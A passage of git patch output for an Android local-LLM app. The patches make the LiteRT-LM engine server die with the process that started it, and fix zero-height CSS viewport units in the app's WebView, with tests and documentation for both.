closed(child), { code: 7, signal: null }) + assert.deepEqual(Buffer.concat(out), Buffer.from(`${child.pid}\na\0b\nfrom stdin`)) + + const missing = spawnSync(helper, [String(process.pid), join(work, 'no-such-program')], { encoding: 'utf8' }) + assert.equal(missing.status, 127) + assert.match(missing.stderr, /cannot run .*no-such-program: No such file or directory/) +}) + +test('a signal to the helper pid reaches the program, and its status passes through', { skip: hostSkip }, async () => { + const pids = [] + try { + const child = spawn(helper, [String(process.pid), 'sleep', '300'], { stdio: 'ignore' }) + pids.push(child.pid) + assert.ok(await waitFor(() => cmdline(child.pid)?.join(' ') === 'sleep 300', 1500)) + const status = exited(child) + child.kill('SIGTERM') + assert.deepEqual(await status, { code: null, signal: 'SIGTERM' }) + } finally { + killAll(pids) + } +}) + +// The daemon's boot self-test (TurboLLM's util/tether.ts; BUILDING-ENGINES.md, "The engine tether"), here with this +// machine's sh and sleep: the program must be seen running under the helper, exec'd in place, while the helper's +// parent sh lives, and then be gone within 1 s of that sh exiting. +async function selfTest(sh, helperPath) { + const pids = [] + try { + const parent = spawn(sh, ['-c', '"$0" "$$" sleep 30 & echo "$!"; read -r _', helperPath], { stdio: ['pipe', 'pipe', 'ignore'] }) + pids.push(parent.pid) + const program = Number(await firstLine(parent.stdout)) + pids.push(program) + const ran = await waitFor(() => { + const s = stat(program) + return s && s.state !== 'Z' && s.ppid === parent.pid && cmdline(program)?.join(' ') === 'sleep 30' + }, 1500) + if (!ran) return 'never ran' + const done = exited(parent) + parent.stdin.end() + await done + return (await waitFor(() => gone(program), 1000)) ? 'passed' : 'outlived its parent' + } finally { + killAll(pids) + } +} + +test('the helper passes the self-test the daemon runs at boot, and helpers that do not work fail it', { skip: hostSkip }, async () => { + const shells = ['/bin/sh', ...['bash', 'mksh'].filter((s) => !spawnSync(s, ['-c', 'exit 0']).error)] + // Stand-ins for a broken build: one that execs without arming the signal, and one that never runs the program. + const noSignal = join(work, 'no-signal.sh') + writeFileSync(noSignal, '#!/bin/sh\nshift\nexec "$@"\n') + chmodSync(noSignal, 0o755) + const exits127 = join(work, 'exits-127.sh') + writeFileSync(exits127, '#!/bin/sh\nexit 127\n') + chmodSync(exits127, 0o755) + for (const sh of shells) { + assert.equal(await selfTest(sh, helper), 'passed', sh) + assert.equal(await selfTest(sh, noSignal), 'outlived its parent', `${sh}, a helper without the signal`) + assert.equal(await selfTest(sh, exits127), 'never ran', `${sh}, a helper that exits 127`) + } +}) + +function findNdk() { + const pinned = (sdk) => sdk && join(sdk, 'ndk', '27.0.12077973') + const env = process.env + return [env.ANDROID_NDK_HOME, env.ANDROID_NDK_ROOT, pinned(env.ANDROID_HOME), pinned(env.ANDROID_SDK_ROOT)] + .find((d) => d && existsSync(join(d, 'toolchains', 'llvm', 'prebuilt'))) +} +const ndk = findNdk() + +test('the staging script builds a 16 KB-aligned PIE executable for each shipped ABI', { skip: !ndk && 'no NDK found' }, () => { + const out = join(work, 'jniLibs') + const r = spawnSync(process.execPath, [script, '--ndk', ndk, '--out', out], { encoding: 'utf8' }) + assert.equal(r.status, 0, r.stderr) + for (const [abi, { elfMachine }] of Object.entries(ABIS)) { + const f = join(out, abi, HELPER) + checkElf(f, elfMachine) // exits the process, failing this file, if the architecture or the alignment is wrong + const b = readFileSync(f) + assert.equal(b.readUInt16LE(16), 3, `${abi}: ET_DYN, a PIE`) + assert.equal(b.readUInt16LE(18), elfMachine, abi) + const phoff = Number(b.readBigUInt64LE(32)) + const interp = [...Array(b.readUInt16LE(56)).keys()].map((i) => phoff + i * b.readUInt16LE(54)) + .find((o) => b.readUInt32LE(o) === 3) // PT_INTERP + assert.ok(interp !== undefined, `${abi}: no PT_INTERP, so not an executable`) + const off = Number(b.readBigUInt64LE(interp + 8)) + assert.equal(b.toString('latin1', off, b.indexOf(0, off)), '/system/bin/linker64', abi) + assert.equal(existsSync(`${f}.tmp`), false) + } + + const bad = spawnSync(process.execPath, [script, '--ndk', ndk, '--out', out, '--abis', 'armeabi-v7a'], { encoding: 'utf8' }) + assert.equal(bad.status, 1) + assert.match(bad.stderr, /no tether build for ABI armeabi-v7a/) +}) From db0375c0f031ddd1a06cafef4347461bf08cb26c Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 22 Oct 2026 18:53:46 +0000 Subject: [PATCH 63/80] fix(litert-lm-server): the server ends when the app does, on its own liblitertlm_server.so, the LiteRT-LM engine in the app, had no tie of its own to the process that started it. A daemon spawns it directly (today's, and any daemon without TurboLLM#287's tether), so when the daemon ended without stopping it, on every Quit, crash or kill of the app, the server kept running, with its model and its port, until system_server killed the app's cgroup. fix(android): an engine dies with the app process, by the kernel ties it through libtether_exec.so for a daemon that has the tether; nothing tied it for one that does not. Older bug: origin/main has it since feat(engines): ship LiteRT-LM in the app as a native server (f9bd21c). engines/litert-lm-server/src/main.cc: the first thing main() does, on Linux (Android included), is arm PR_SET_PDEATHSIG(SIGKILL), so the kernel kills the server the moment the thread that started it ends. libtether_exec.so arms the same signal before it execs the server; this holds whichever way the server is started: by a daemon without the tether, through the tether's /system/bin/sh fallback (whose watcher also kills it), or by hand. It is armed before the library is loaded, so a server stuck in dlopen goes too. If the parent process ended before the prctl, the process has already been reparented to init and no signal would come, so the server prints "the process that started turbollm-litertlm-server has already exited; not starting" and exits 1. A prctl that fails is reported on stderr and the server runs as before. Elsewhere (a macOS host build) nothing changes. BUILDING-ENGINES.md says so under "What the server is" and "The engine tether". Behaviour change: the server exits 1 at once when the process that started it has already exited (on Linux that includes a server init starts on purpose, which nothing does: the server ships only in the APK), and a server started by hand ends with the shell that started it. Tests: engines/litert-lm-server/parent-death.test.mjs (new, node --test, Node 22 and 18.20.4). It builds the server for the machine with c++ (Linux; skipped elsewhere or without cc and c++) against a stand-in liblitert-lm.so, generated from the function list in src/litert_lm_api.h, whose functions do nothing, which is enough for the server to listen: "a daemon killed with SIGKILL takes the server it started with it" (the stand-in daemon spawns it directly and is killed once the server says it is listening), "a server whose parent exited before it started does not start" (an orphaned sh execs it once the test has seen init adopt it; skipped where a subreaper adopts it instead) and "--version still answers". With main.cc as it was, the first two fail: the server outlived the daemon, and the orphaned one started and listened. No existing test changed. Also checked: the NDK builds of both ABIs (stageLitertLmEngine in :composeApp:mergeDebugJniLibFolders) compile without warnings and import prctl and getppid. The x86_64 one, with the patched liblitert-lm.so and its shim, ran in a chroot of the x86_64 Android 15 emulator image: started in the background by the image's /system/bin/sh, which then exec'd a sleep, it listened, and a SIGKILL of that process took it within one 20 ms poll, three runs of three. Not run on a device. Device check, with a .litertlm model loaded: adb shell ps -A shows liblitertlm_server.so with the app's pid as its parent, and it is gone once the app process ends: at once after adb shell am force-stop com.turbollm, and about 3 s after the notification's Quit is tapped, when Quit ends the app (fix(android): closing the app with nothing running quits it fully). With a daemon that has TurboLLM#287's tether, the same ps after a kill of the app shows nothing either way; the server's own signal shows only with the tether's sh fallback or an older daemon, where it is what ends the server. --- BUILDING-ENGINES.md | 18 ++- .../litert-lm-server/parent-death.test.mjs | 133 ++++++++++++++++++ engines/litert-lm-server/src/main.cc | 23 +++ 3 files changed, 171 insertions(+), 3 deletions(-) create mode 100644 engines/litert-lm-server/parent-death.test.mjs diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index fed06be..a278367 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -328,6 +328,16 @@ satisfied the server's `std::runtime_error`/`__cxa_*` references from those expo AddressSanitizer caught an exception being destroyed by the other runtime. See `src/litert_lm_api.h`. +**It ends with whatever started it.** The first thing `main()` does is arm +`PR_SET_PDEATHSIG(SIGKILL)`, so the kernel kills the server the moment the thread that started it +ends, and it exits 1 without starting when its parent is already init (the starter died before +the `prctl`). The daemon's [engine tether](#the-engine-tether) does the same before it execs the +server; this covers a server started any other way: by a daemon without the tether, through the +daemon's `/system/bin/sh` fallback, or by hand. `node --test +engines/litert-lm-server/parent-death.test.mjs` builds the server for the machine (Linux, `cc` +and `c++`) against a stand-in `liblitert-lm.so` whose functions do nothing, and checks that a +stand-in daemon's SIGKILL takes the listening server with it and that an orphaned start exits. + ### GPU The app reads the GPU's name from a throwaway GL context (`MainActivity.gpuEnv`) and passes it @@ -392,7 +402,8 @@ which lives exactly as long as the daemon. So whichever way the app process ends is `Process.killProcess`, a crash, Android killing the app), the kernel ends the engines with it at once. Behind that, system_server still kills whatever is left in the app's cgroup once the app process has died (AOSP 7 to 15); before the helper, that was an -engine's only tie to the app. +engine's only tie to the app. `liblitertlm_server.so` also arms the signal itself, at the top of +its `main()` ([what the server is](#what-the-server-is-and-why-it-is-shaped-this-way)). | | | |---|---| @@ -412,8 +423,9 @@ of ending the `sh`'s stdin. It logs `tether: libtether_exec.so self-test passed /system/bin/sh lifeline instead`, or, when the APK has no helper, `tether: libtether_exec.so not found in ; tethered spawns use the /system/bin/sh lifeline instead`. Either way it then ties each engine with a `/system/bin/sh` watcher instead (one more process per engine, counted against -Android 12+'s phantom process limit). A daemon without that commit starts engines directly, -and only the cgroup kill ties them. +Android 12+'s phantom process limit). A daemon without that commit starts engines directly: +then the cgroup kill alone ties the llama.cpp engines, and the LiteRT-LM server is also tied +by its own signal. `node --test scripts/stage-tether-exec.test.mjs` builds the helper for the machine with `cc` (Linux) and runs it: a stand-in daemon's SIGKILL takes its engine; a parent that is not the diff --git a/engines/litert-lm-server/parent-death.test.mjs b/engines/litert-lm-server/parent-death.test.mjs new file mode 100644 index 0000000..b5c3069 --- /dev/null +++ b/engines/litert-lm-server/parent-death.test.mjs @@ -0,0 +1,133 @@ +// Tests that the LiteRT-LM server ends with the process that started it (src/main.cc, the top of main): +// node --test engines/litert-lm-server/parent-death.test.mjs +// The server is built for this machine with c++ and runs against a stand-in liblitert-lm.so whose C API functions do +// nothing, which is enough for it to start listening: no model is loaded. Linux only (PR_SET_PDEATHSIG and /proc), and +// skipped without a C and a C++ compiler. Building takes a few seconds. Every process a test starts is killed by pid +// when it ends. +import assert from 'node:assert/strict' +import { spawn, spawnSync } from 'node:child_process' +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { after, before, test } from 'node:test' +import { fileURLToPath } from 'node:url' + +const root = fileURLToPath(new URL('.', import.meta.url)) +const work = mkdtempSync(join(tmpdir(), 'litert-lm-server-test-')) +after(() => rmSync(work, { recursive: true, force: true })) + +const missing = ['cc', 'c++'].filter((c) => spawnSync(c, ['--version'], { stdio: 'ignore' }).error) +const skip = process.platform !== 'linux' ? 'PR_SET_PDEATHSIG and /proc are Linux only' + : missing.length ? `no ${missing.join(' or ')} on this machine` : false +const server = join(work, 'litertlm_server') + +before(() => { + if (skip) return + // The stand-in library: every function the server resolves (src/litert_lm_api.h), each doing nothing. Beside the + // server, where LoadLiteRtLm looks first after LITERT_LM_LIBRARY, as in the app's nativeLibraryDir. + const header = readFileSync(join(root, 'src', 'litert_lm_api.h'), 'utf8') + const names = [...header.matchAll(/^\s*X\((\w+)\)/gm)].map((m) => m[1]) + assert.ok(names.length > 40, 'the C API list in litert_lm_api.h was not found') + writeFileSync(join(work, 'stub.c'), names.map((n) => `void ${n}(void) {}\n`).join('')) + const lib = spawnSync('cc', ['-shared', '-fPIC', '-o', join(work, 'liblitert-lm.so'), join(work, 'stub.c')], { encoding: 'utf8' }) + assert.equal(lib.status, 0, lib.stderr) + const built = spawnSync('c++', [ + '-std=c++17', '-O0', '-w', '-I', join(root, 'third_party', 'litert_lm'), '-I', join(root, 'third_party'), + '-DLITERT_LM_VERSION="test"', join(root, 'src', 'main.cc'), join(root, 'src', 'litert_lm_api.cc'), + '-ldl', '-pthread', '-o', server, + ], { encoding: 'utf8' }) + assert.equal(built.status, 0, built.stderr) +}) + +const sleep = (ms) => new Promise((r) => setTimeout(r, ms)) +function stat(pid) { + try { + const s = readFileSync(`/proc/${pid}/stat`, 'utf8') + const f = s.slice(s.lastIndexOf(')') + 2).split(' ') + return { state: f[0], ppid: Number(f[1]) } + } catch { + return null + } +} +// A zombie counts as gone: it holds no model and no port. +const gone = (pid) => { + const s = stat(pid) + return !s || s.state === 'Z' +} +async function waitFor(check, ms) { + for (const end = Date.now() + ms; Date.now() < end; await sleep(20)) if (check()) return true + return check() +} +function killAll(pids) { + for (const pid of pids) { + try { + process.kill(pid, 'SIGKILL') + } catch {} + } +} +function firstLine(stream) { + return new Promise((resolve, reject) => { + let buf = '' + stream.setEncoding('utf8') + stream.on('data', (d) => { + buf += d + if (buf.includes('\n')) resolve(buf.slice(0, buf.indexOf('\n'))) + }) + stream.on('end', () => reject(new Error(`no line before the end (got ${JSON.stringify(buf)})`))) + }) +} + +test('a daemon killed with SIGKILL takes the server it started with it', { skip }, async () => { + const pids = [] + try { + // The stand-in daemon starts the server directly, as a daemon without libtether_exec.so does, and prints its pid + // once the server says it is listening. + const daemon = spawn(process.execPath, ['-e', ` + const c = require('child_process').spawn(process.argv[1], ['serve', '--host', '127.0.0.1', '--port', '0'], { stdio: ['ignore', 'ignore', 'pipe'] }) + let err = '' + c.stderr.on('data', (d) => { err += d; if (err.includes('Starting OpenAI-compatible API server')) console.log(c.pid) }) + c.on('exit', (code) => { console.error('server exited ' + code + ': ' + err); process.exit(1) }) + setInterval(() => {}, 1000)`, server], { stdio: ['ignore', 'pipe', 'inherit'] }) + pids.push(daemon.pid) + const pid = Number(await firstLine(daemon.stdout)) + pids.push(pid) + assert.equal(stat(pid)?.ppid, daemon.pid) + process.kill(daemon.pid, 'SIGKILL') + assert.ok(await waitFor(() => gone(pid), 1000), 'the server outlived the daemon') + } finally { + killAll(pids) + } +}) + +test('a server whose parent exited before it started does not start', { skip }, async (t) => { + const pids = [] + try { + const errFile = join(work, 'orphan.err') + // The outer sh starts an inner one in the background, prints its pid and exits, so the inner sh is reparented + // before it execs the server, as a server is whose daemon dies between the fork and the prctl. The inner sh waits + // on fd 3 until this test has seen who adopted it, so it can neither exec the server nor be gone before then. + const outer = spawn('sh', ['-c', 'sh -c "$2" "$0" >/dev/null 2>"$1" & echo $!', server, errFile, + 'read -r _ <&3; exec "$0" serve --host 127.0.0.1 --port 0 3<&-'], { stdio: ['ignore', 'pipe', 'ignore', 'pipe'] }) + pids.push(outer.pid) + const pid = Number(await firstLine(outer.stdout)) + pids.push(pid) + assert.ok(await waitFor(() => gone(outer.pid), 1000)) + const ppid = stat(pid)?.ppid + assert.ok(ppid !== undefined, 'the orphaned sh was gone before it was let go') + if (ppid !== 1) { + t.skip(`an orphan is adopted by pid ${ppid} here, not init`) + return + } + outer.stdio[3].end('go\n') + assert.ok(await waitFor(() => gone(pid), 3000), 'the server started') + assert.match(readFileSync(errFile, 'utf8'), /the process that started turbollm-litertlm-server has already exited; not starting/) + } finally { + killAll(pids) + } +}) + +test('--version still answers', { skip }, () => { + const r = spawnSync(server, ['--version'], { encoding: 'utf8' }) + assert.equal(r.status, 0, r.stderr) + assert.match(r.stdout, /^turbollm-litertlm-server .* \(LiteRT-LM test\)/) +}) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index a3de946..6f8a271 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -44,6 +44,9 @@ #include #include #include +#ifdef __linux__ +#include +#endif #include #include @@ -1421,6 +1424,26 @@ void PrintHelp() { } // namespace int main(int argc, char** argv) { +#ifdef __linux__ + // Die with the process that started this one, by the kernel: SIGKILL the moment the thread that forked it ends. On + // Android that is the daemon's Node thread in the app process, so the server, and the model it holds, ends however + // the app process ends (Quit, a crash, Android killing the app), at once. The app's daemon starts it through + // libtether_exec.so, which arms the same signal before the exec (BUILDING-ENGINES.md, "The engine tether"); this + // covers every other way it is started: by a daemon without that helper, through the daemon's sh lifeline when the + // helper fails its self-test, or by hand. Armed before anything else runs, so even a server stuck loading its + // library goes. A parent process that ended before the prctl never sends it: this process was then already + // reparented to init, so the server does not start. This sees the process end, not the thread: had only the forking + // thread ended, this process would have moved to another thread of its parent and the signal would come when that + // one ends; the daemon's thread ends only with the daemon. A server that init starts on purpose is refused too; + // none is, as this binary ships only in the APK (host builds are for its tests). + if (::prctl(PR_SET_PDEATHSIG, SIGKILL) != 0) { + std::fprintf(stderr, "prctl(PR_SET_PDEATHSIG) failed: %s; the server will not end with its parent\n", + std::strerror(errno)); + } else if (::getppid() == 1) { + std::fprintf(stderr, "the process that started %s has already exited; not starting\n", kServerName); + return 1; + } +#endif std::string config_path, host = "127.0.0.1"; int port = 9379; std::vector args(argv + 1, argv + argc); From ac46561250635a6471fb75cd8dee2173666675f9 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 11:58:01 +0000 Subject: [PATCH 64/80] fix(android): the WebView lays the UI out at its real height MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit On the phone, Workspace → "Load a model" opened as an empty strip, 280 by 10 CSS px: no search box, no models, no "No models found.". The menu's max-height is min(60vh, the space below its trigger), and 60vh was 0px in the app, so the menu was its padding and border. Every vh in the UI was 0px because the page was laid out at height 0: the factory created the WebView with no layout params, AndroidView's holder added it with ViewGroup's default, WRAP_CONTENT, and Chromium's WebView (android_webview's AwLayoutSizer) lays out the page of a WebView whose layout params are WRAP_CONTENT high at height 0 (Blink's forceZeroLayoutHeight), while the view itself is full size and window.innerHeight is right. HEIGHT_FIX_JS worked around that one class shape at a time, and the picker's max-h-[min(60vh,var(--radix-dropdown-menu-content-available-height))] (TurboLLM #270, on TurboLLM main) is a shape it did not rewrite. It also missed a class React gives an element that already exists (the body of the desktop Engines "Build from source" dialog, a screen the app does not show, stayed at 0px that way). Older bug: origin/main has it (the WebView has had no layout params since it was first hosted, 402e32a, and HEIGHT_FIX_JS is the same). - DaemonWebView.kt: the factory sets MATCH_PARENT layout params on the WebView before AndroidView adds it (the WebView built again after a renderer crash comes from the same factory), so the page is laid out at the view's own height and vh, dvh, svh, lvh, vmin and 100% heights are real. The view's size does not change: AndroidView measures it EXACTLY either way. HEIGHT_FIX_JS stays as a fallback for a WebView that still lays the page out at height 0, which only a device can rule out. It now measures a height:100vh element once per page (on a page that finished loading before the WebView had a height, at the first resize that gives it one) and does nothing more unless that is under 1px while window.innerHeight is not, and runs once per page however often onPageFinished comes. Its class rewrite takes a viewport unit anywhere in an h-, min-h- or max-h- arbitrary value, with or without Tailwind's '!' (inside min, max, calc or clamp; vh, vb, vmin, vmax and their d/s/l forms), and sets that value, those terms in px and every other term (var() ones included) kept, as the same property. The value is the one in the class's rule, as Tailwind wrote it: Tailwind does more than read '_' as a space (h-[calc(100vh-2rem)] is calc(100vh - 2rem)). When no rule the page can read has the class, it is the class name's, '_' read as a space. It also follows a class set on an existing element, and drops what it set when the class goes. When active it still does all it did before (html, body and #root pinned to window.innerHeight, the named utilities, resize, added elements). It answers true when it activates, and onPageFinished then logs a warning ("100vh is 0px in this WebView ...", tag TurboLLM), so logcat shows a WebView still laying pages out at height 0; a page that decides later puts the same warning in its own console. The comments that put the 0px vh down to the System WebView say what it is, and injectSafeAreaInsets' KDoc says why onPageFinished passes 0 (the WebView is inset natively) instead of blaming env() in the System WebView. - AndroidManifest.xml: the adjustResize comment says how the page follows the keyboard: the edge-to-edge window is not resized, adjustResize has Android report the keyboard as an inset, DaemonWebView.kt pads the WebView by it, and the page is laid out at the WebView's own height (it said the window shrinks, and that HEIGHT_FIX_JS made the page follow). Behaviour change: the UI's viewport heights come from the WebView's real size from the first paint (before, the page was laid out at height 0 throughout, and only the class shapes HEIGHT_FIX_JS knew were pinned to window.innerHeight once onPageFinished ran it), and on such a WebView HEIGHT_FIX_JS does nothing but its probe. The picker shows its search box and models, or "No models found." and its hint. On the screens that scroll the whole page (Engines, Customize, Settings) html and body are the document's height, as the web UI's CSS asks, not pinned to the window's; nothing on screen moves. Tests: scripts/webview-height-fix.test.mjs (new, node --test). It reads HEIGHT_FIX_JS out of DaemonWebView.kt as Kotlin builds it and runs it in Playwright's Chromium at 412x925 (those tests are skipped without Playwright or Chromium, and one that times out closes its Chromium so that the run still ends), on a page with the CSS Tailwind 4.3.3 writes for the web UI's shapes, in its utilities layer: the picker's class, calc with '_' and without, a vh term after a percentage, '!', clamp, vmin, a var() whose name has "vh" in it, the named utilities, a rule in a stylesheet from another origin, a portal added later, a class set on an existing element and taken away, and a resize to 412x600. "HEIGHT_FIX_JS is plain JavaScript once Kotlin has built it", "the factory gives the WebView MATCH_PARENT layout params before AndroidView adds it" (a check of the Kotlin source), "in a WebView that lays the page out at its own height, HEIGHT_FIX_JS answers false and changes nothing", "in a WebView that lays the page out at height 0, HEIGHT_FIX_JS answers true and every height is as in Chromium" (--blink-settings=forceZeroLayoutHeight=true, the Blink setting a WRAP_CONTENT WebView gets) and "on a page that loaded before the WebView had a height, HEIGHT_FIX_JS decides at the first resize that gives it one" (window.innerHeight reads 0 while it runs). With DaemonWebView.kt as it was, the last four fail: there are no layout params, the script answers nothing, and without that check the picker's shape measures 10px, not 555px. No existing test changed. Also checked, with the real web UI (TurboLLM b0e8455, its daemon with two .litertlm models and LiteRT-LM selected) in Chromium at 412x925: as the device is today (force-zero, the old script) the picker is 280x10 with max-height 0px. Without force-zero (what MATCH_PARENT gives) and with the new script, the script answers false and the picker is 280x146.5 with the search box and both models (280x99.5 with "No models found." when there are none). With force-zero and the new script, it answers true and the picker is the same. Without force-zero, every main screen (onboarding, Workspace, Thread settings, Models, Discover, Engines and the desktop build dialog, Usage, Customize, Settings, text classification) has the same element boxes as plain Chromium; against today's device state only the picker, the build dialog and the html/body pin differ. MobileNav stays at the bottom of the window on short pages in all of them (QA_BUGS.md BUG-05). With force-zero and the new script, 25 arbitrary-value height classes as Tailwind 4.3.3 compiles them (calc with and without '_', nested calc, var() fallbacks, '!' before and after, vb, lvh, vmax) measure as in plain Chromium. :composeApp:compileDebugKotlinAndroid builds. Not run on a device. Device check: adb logcat -s TurboLLM shows no "100vh is 0px" warning, and Workspace → Load a model shows the search box and the models, with the keyboard up and down. --- .../src/androidMain/AndroidManifest.xml | 10 +- .../kotlin/com/turbollm/app/DaemonWebView.kt | 225 ++++++++++++---- scripts/webview-height-fix.test.mjs | 243 ++++++++++++++++++ 3 files changed, 418 insertions(+), 60 deletions(-) create mode 100644 scripts/webview-height-fix.test.mjs diff --git a/composeApp/src/androidMain/AndroidManifest.xml b/composeApp/src/androidMain/AndroidManifest.xml index 66f9276..68919e2 100644 --- a/composeApp/src/androidMain/AndroidManifest.xml +++ b/composeApp/src/androidMain/AndroidManifest.xml @@ -27,10 +27,12 @@ android:theme="@style/Theme.TurboLLM" android:usesCleartextTraffic="true"> 0)) { + window.__turbollmHeightFix = null; + window.addEventListener('resize', function sized() { + if (!(window.innerHeight > 0)) return; + window.removeEventListener('resize', sized); + window.__turbollmHeightFix = zeroVh(); + if (!window.__turbollmHeightFix) return; + activate(); + console.warn("100vh is 0px in this WebView (the page is laid out at height 0); HEIGHT_FIX_JS pins the UI's " + + 'viewport heights to window.innerHeight'); + }); + return null; + } + // One probe per page: on a WebView that lays the page out at its own height, that is all the script does. + window.__turbollmHeightFix = zeroVh(); + if (!window.__turbollmHeightFix) return false; + activate(); + return true; })(); """ -/** Injects the native window insets as CSS custom properties so the web UI's - * `var(--tllm-safe-top)` / `var(--tllm-safe-bottom)` resolve to real pixel values. - * Android's System WebView resolves `env(safe-area-inset-*)` to 0px on many builds, - * so we read the insets natively and patch them in via JS (same pattern as HEIGHT_FIX_JS). - * Called after HEIGHT_FIX_JS so the CSS vars are ready before the web layout reads them. +/** Sets the web UI's safe-area padding, the `--tllm-safe-top` / `--tllm-safe-bottom` CSS custom properties, on the + * page's root element, where it wins over index.css (which, below 768px wide, defaults them to + * `env(safe-area-inset-*, 24px)` for a page drawn under the system bars). onPageFinished passes 0: the WebView is + * already inset away from every system bar and the display cutout natively (TurboLLMWebView), so the page must not + * pad for them again, whatever env() reports inside it. * * [topPx]/[bottomPx] are PHYSICAL pixels (that's what WindowInsets reports) — CSS `px` * inside the WebView is device-independent and gets multiplied by devicePixelRatio at @@ -387,6 +478,16 @@ private fun TurboLLMWebView(onRendererGone: (didCrash: Boolean) -> Boolean) { // not enough. Flagging the view as important for accessibility helps the // platform expose at least the WebView container itself to TalkBack. WebView(context).apply { + // MATCH_PARENT both ways, set before AndroidView adds the WebView (it does so right after this + // factory returns, here and for the WebView built again after a renderer crash). With no layout params + // it got ViewGroup's default WRAP_CONTENT, and Chromium lays out the page of a WebView whose height is + // WRAP_CONTENT at height 0: every vh unit and viewport-relative height in the UI was 0px (see + // HEIGHT_FIX_JS). The view's own size does not change: AndroidView measures it EXACTLY at the size + // its modifier gives either way. + layoutParams = ViewGroup.LayoutParams( + ViewGroup.LayoutParams.MATCH_PARENT, + ViewGroup.LayoutParams.MATCH_PARENT, + ) settings.javaScriptEnabled = true settings.domStorageEnabled = true webViewClient = object : WebViewClient() { @@ -468,7 +569,19 @@ private fun TurboLLMWebView(onRendererGone: (didCrash: Boolean) -> Boolean) { override fun onPageFinished(view: WebView, url: String?) { super.onPageFinished(view, url) - view.evaluateJavascript(HEIGHT_FIX_JS, null) + view.evaluateJavascript(HEIGHT_FIX_JS) { activated -> + // "true" only from the page's first run, and only when it found 100vh at 0px: the WebView + // still lays the page out at height 0 despite its MATCH_PARENT layout params. A page that + // finished loading before the WebView had a height answers null, decides at its first + // resize, and warns in its own console then. + if (activated == "true") { + Log.w( + TAG, + "100vh is 0px in this WebView (the page is laid out at height 0); HEIGHT_FIX_JS " + + "pins the UI's viewport heights to window.innerHeight", + ) + } + } // The WebView is already inset away from every system bar (the modifier above), so the // web UI's own safe-area padding (Shell.tsx --tllm-safe-top/bottom) must be zero — // anything else would pad twice. diff --git a/scripts/webview-height-fix.test.mjs b/scripts/webview-height-fix.test.mjs new file mode 100644 index 0000000..d33d6e1 --- /dev/null +++ b/scripts/webview-height-fix.test.mjs @@ -0,0 +1,243 @@ +// Tests for HEIGHT_FIX_JS, the script the app's WebView runs after each page load +// (composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt): +// node --test scripts/webview-height-fix.test.mjs +// The script is read out of DaemonWebView.kt and turned into the string Kotlin builds from it (its ${'$'} is a $), so +// this runs what ships. It is run in Chromium on a page shaped like the web UI's Tailwind output, at the phone size +// the bug was reported at, under two hosts: a WebView that lays the page out at its own height (what MATCH_PARENT +// layout params give), and one that lays it out at height 0 (what WRAP_CONTENT gave: Chromium's +// --blink-settings=forceZeroLayoutHeight=true is the same Blink setting). Both are compared with the same page in +// plain Chromium with no script. Needs Playwright (require('playwright'), so NODE_PATH works) and the Chromium it +// launches, or the one CHROME_PATH names; those tests are skipped without them. +import assert from 'node:assert/strict' +import { mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { createRequire } from 'node:module' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { test } from 'node:test' + +const KT = new URL('../composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonWebView.kt', import.meta.url) + +// HEIGHT_FIX_JS as the app evaluates it. A `$` in a Kotlin raw string starts a template, so the only one allowed is +// the ${'$'} that stands for a literal $. +function heightFixJs() { + const m = /private const val HEIGHT_FIX_JS = """([\s\S]*?)"""/.exec(readFileSync(KT, 'utf8')) + assert.ok(m, 'HEIGHT_FIX_JS not found in DaemonWebView.kt') + const js = m[1].replaceAll("${'$'}", '$') + const template = /\$[\w{]/.exec(js) + assert.equal(template, null, `Kotlin would fill in a template in HEIGHT_FIX_JS: ${template && js.slice(template.index, template.index + 20)}`) + return js +} + +test('HEIGHT_FIX_JS is plain JavaScript once Kotlin has built it', () => { + assert.doesNotThrow(() => new Function(heightFixJs())) +}) + +// The fix itself, which no browser here can run: Chromium lays out the page of a WebView whose layout params are +// WRAP_CONTENT high at height 0, and AndroidView's holder adds a view that has none with WRAP_CONTENT, as soon as the +// factory returns. So the one WebView the factory builds (on first load and after a renderer crash) is given +// MATCH_PARENT both ways first. +test('the factory gives the WebView MATCH_PARENT layout params before AndroidView adds it', () => { + const kt = readFileSync(KT, 'utf8') + assert.equal(kt.match(/WebView\(context\)/g)?.length, 1, 'one place builds the WebView') + const first = /WebView\(context\)\.apply \{\s*(?:\/\/.*\s*)*layoutParams = ViewGroup\.LayoutParams\(\s*ViewGroup\.LayoutParams\.MATCH_PARENT,\s*ViewGroup\.LayoutParams\.MATCH_PARENT,?\s*\)/ + assert.ok(first.test(kt), 'the first statement in WebView(context).apply { } sets MATCH_PARENT layout params') +}) + +// Playwright makes its folders in the temp folder and leaves them there when Chromium does not start (the skip +// below), so this file's go in a temp folder of their own, removed when its process exits. Not in an after() hook: +// node:test runs those once the tests above are done, while the skip check below may still be launching Chromium. +const ownTmp = mkdtempSync(join(tmpdir(), 'webview-height-fix-')) +for (const k of ['TMPDIR', 'TMP', 'TEMP']) process.env[k] = ownTmp +process.on('exit', () => rmSync(ownTmp, { recursive: true, force: true })) + +let chromium = null +try { + ;({ chromium } = createRequire(import.meta.url)('playwright')) +} catch {} +const launchOptions = (zero) => ({ + executablePath: process.env.CHROME_PATH || undefined, + args: zero ? ['--blink-settings=forceZeroLayoutHeight=true'] : [], +}) +const skip = await (async () => { + if (!chromium) return 'Playwright is not installed' + try { + await (await chromium.launch(launchOptions(false))).close() + return false + } catch (e) { + return `Chromium does not start: ${String(e.message).split('\n')[0]}` + } +})() + +// The web UI's shapes, with the CSS Tailwind v4 (4.3.3) writes for them, in its utilities layer: html/body/#root at +// 100% (index.css), the model picker (ModelLoadMenu.tsx), arbitrary values with vh inside calc() and clamp(), calc() +// spelt with '_' for a space and without 